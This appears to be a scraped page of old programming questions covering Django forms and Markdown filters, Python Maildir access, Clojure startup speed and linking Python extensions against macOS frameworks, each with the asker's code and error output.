I tried using the code from the default form templates from django.contrib as suggested below. Still, when I submit the form I go right back to the post template, none of my print statements execute :(

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  • Error in {% markdown %} filter in Django Nonrel

    - by Robert Smith
    I'm having trouble using Markdown in Django Nonrel. I followed this instructions (added 'django.contrib.markup' to INSTALLED_APPS, include {% load markup %} in the template and use |markdown filter after installing python-markdown) but I get the following error: Error in {% markdown %} filter: The Python markdown library isn't installed. In this line: /path/to/project/django/contrib/markup/templatetags/markup.py in markdown they will be silently ignored. """ try: import markdown except ImportError: if settings.DEBUG: raise template.TemplateSyntaxError("Error in {% markdown %} filter: The Python markdown library isn't installed.") ... return force_unicode(value) else: # markdown.version was first added in 1.6b. The only version of markdown # to fully support extensions before 1.6b was the shortlived 1.6a. if hasattr(markdown, 'version'): extensions = [e for e in arg.split(",") if e] It seems obvious that import markdown is causing the problem but when I run: $ python manage.py shell >>> import elementtree >>> import markdown everthing works alright. Running Markdown 2.0.3, Django 1.3.1, Python 2.7. UPDATE: I thought maybe this was an issue related to permissions, so I changed my project via chmod 777 -R, but it didn't work. Ideas? Thanks!

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  • Getting all new messages from a Maildir in python

    - by Jesper
    I have a mail dir: foo@foo:~/Maildir$ ls -l total 288 drwx------ 2 foo foo 155648 2010-04-19 15:19 cur -rw------- 1 foo foo 440 2010-03-20 08:50 dovecot.index.log -rw------- 1 foo foo 112 2010-03-20 08:49 dovecot-uidlist -rw------- 1 foo foo 8 2010-03-20 08:49 dovecot-uidvalidity -rw------- 1 foo foo 0 2010-03-20 08:49 dovecot-uidvalidity.4ba48c0e drwx------ 2 foo foo 114688 2010-04-19 16:07 new drwx------ 2 foo foo 4096 2010-04-19 16:07 tmp And in python I'm trying to get all new messages (Python 2.6.5rc2). First, getting "Maildir" works: >>> import mailbox >>> md = mailbox.Maildir('/home/foo/Maildir') >>> md.iterkeys().next() '1269924477.Vfc01I4249fM708004.foo' But how do I access "Maildir/new"? This does not work: >>> md = mailbox.Maildir('/home/foo/Maildir/new') >>> md.iterkeys().next() Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python2.6/mailbox.py", line 346, in iterkeys self._refresh() File "/usr/lib/python2.6/mailbox.py", line 467, in _refresh for entry in os.listdir(subdir_path): OSError: [Errno 2] No such file or directory: '/home/foo/Maildir/new/new' >>> Any ideas?

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  • CharField values disappearing after save (readonly field)

    - by jamida
    I'm implementing simple "grade book" application where the teacher would be able to update the grades w/o being allowed to change the students' names (at least not on the update grade page). To do this I'm using one of the read-only tricks, the simplest one. The problem is that after the SUBMIT the view is re-displayed with 'blank' values for the students. I'd like the students' names to re-appear. Below is the simplest example that exhibits this problem. (This is poor DB design, I know, I've extracted just the relevant parts of the code to showcase the problem. In the real example, student is in its own table but the problem still exists there.) models.py class Grade1(models.Model): student = models.CharField(max_length=50, unique=True) finalGrade = models.CharField(max_length=3) class Grade1OForm(ModelForm): student = forms.CharField(max_length=50, required=False) def __init__(self, *args, **kwargs): super(Grade1OForm,self).__init__(*args, **kwargs) instance = getattr(self, 'instance', None) if instance and instance.id: self.fields['student'].widget.attrs['readonly'] = True self.fields['student'].widget.attrs['disabled'] = 'disabled' def clean_student(self): instance = getattr(self,'instance',None) if instance: return instance.student else: return self.cleaned_data.get('student',None) class Meta: model=Grade1 views.py from django.forms.models import modelformset_factory def modifyAllGrades1(request): gradeFormSetFactory = modelformset_factory(Grade1, form=Grade1OForm, extra=0) studentQueryset = Grade1.objects.all() if request.method=='POST': myGradeFormSet = gradeFormSetFactory(request.POST, queryset=studentQueryset) if myGradeFormSet.is_valid(): myGradeFormSet.save() info = "successfully modified" else: myGradeFormSet = gradeFormSetFactory(queryset=studentQueryset) return render_to_response('grades/modifyAllGrades.html',locals()) template <p>{{ info }}</p> <form method="POST" action=""> <table> {{ myGradeFormSet.management_form }} {% for myform in myGradeFormSet.forms %} {# myform.as_table #} <tr> {% for field in myform %} <td> {{ field }} {{ field.errors }} </td> {% endfor %} </tr> {% endfor %} </table> <input type="submit" value="Submit"> </form>

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  • Why is the Clojure Hello World program so slow compared to Java and Python?

    - by viksit
    Hi all, I'm reading "Programming Clojure" and I was comparing some languages I use for some simple code. I noticed that the clojure implementations were the slowest in each case. For instance, Python - hello.py def hello_world(name): print "Hello, %s" % name hello_world("world") and result, $ time python hello.py Hello, world real 0m0.027s user 0m0.013s sys 0m0.014s Java - hello.java import java.io.*; public class hello { public static void hello_world(String name) { System.out.println("Hello, " + name); } public static void main(String[] args) { hello_world("world"); } } and result, $ time java hello Hello, world real 0m0.324s user 0m0.296s sys 0m0.065s and finally, Clojure - hellofun.clj (defn hello-world [username] (println (format "Hello, %s" username))) (hello-world "world") and results, $ time clj hellofun.clj Hello, world real 0m1.418s user 0m1.649s sys 0m0.154s Thats a whole, garangutan 1.4 seconds! Does anyone have pointers on what the cause of this could be? Is Clojure really that slow, or are there JVM tricks et al that need to be used in order to speed up execution? More importantly - isn't this huge difference in performance going to be an issue at some point? (I mean, lets say I was using Clojure for a production system - the gain I get in using lisp seems completely offset by the performance issues I can see here). The machine used here is a 2007 Macbook Pro running Snow Leopard, a 2.16Ghz Intel C2D and 2G DDR2 SDRAM. BTW, the clj script I'm using is from here and looks like, #!/bin/bash JAVA=/System/Library/Frameworks/JavaVM.framework/Versions/1.6/Home/bin/java CLJ_DIR=/opt/jars CLOJURE=$CLJ_DIR/clojure.jar CONTRIB=$CLJ_DIR/clojure-contrib.jar JLINE=$CLJ_DIR/jline-0.9.94.jar CP=$PWD:$CLOJURE:$JLINE:$CONTRIB # Add extra jars as specified by `.clojure` file if [ -f .clojure ] then CP=$CP:`cat .clojure` fi if [ -z "$1" ]; then $JAVA -server -cp $CP \ jline.ConsoleRunner clojure.lang.Repl else scriptname=$1 $JAVA -server -cp $CP clojure.main $scriptname -- $* fi

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  • Building a python module and linking it against a MacOSX framework

    - by madflo
    I'm trying to build a Python extension on MacOSX 10.6 and to link it against several frameworks (i386 only). I made a setup.py file, using distutils and the Extension object. I order to link against my frameworks, my LDFLAGS env var should look like : LDFLAGS = -lc -arch i386 -framework fwk1 -framework fwk2 As I did not find any 'framework' keyword in the Extension module documentation, I used the extra_link_args keyword instead. Extension('test', define_macros = [('MAJOR_VERSION', '1'), ,('MINOR_VERSION', '0')], include_dirs = ['/usr/local/include', 'include/', 'include/vitale'], extra_link_args = ['-arch i386', '-framework fwk1', '-framework fwk2'], sources = "testmodule.cpp", language = 'c++' ) Everything is compiling and linking fine. If I remove the -framework line from the extra_link_args, my linker fails, as expected. Here is the last two lines produced by a python setup.py build : /usr/bin/g++-4.2 -arch x86_64 -arch i386 -isysroot / -L/opt/local/lib -arch x86_64 -arch i386 -bundle -undefined dynamic_lookup build/temp.macosx-10.6-intel-2.6/testmodule.o -o build/lib.macosx-10.6-intel-2.6/test.so -arch i386 -framework sgdosx -framework srtosx -framework ssvosx -framework stsosx Unfortunately, the .so that I just produced is unable to find several symbols provided by this framework. I tried to check the linked framework with otool. None of them is appearing. $ otool -L test.so test.so: /usr/lib/libstdc++.6.dylib (compatibility version 7.0.0, current version 7.9.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.0.1) There is the output of otool run on a test binary, made with g++ and ldd using the LDFLAGS described at the top of my post. On this example, the -framework did work. $ otool -L vitaosx vitaosx: /Library/Frameworks/sgdosx.framework/Versions/A/sgdosx (compatibility version 1.0.0, current version 1.0.0) /Library/Frameworks/ssvosx.framework/Versions/A/ssvosx (compatibility version 1.0.0, current version 1.0.0) /usr/lib/libstdc++.6.dylib (compatibility version 7.0.0, current version 7.9.0) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 125.0.1) May this issue be linked to the "-undefined dynamic_lookup" flag on the linking step ? I'm a little bit confused by the few lines of documentation that I'm finding on Google. Cheers,

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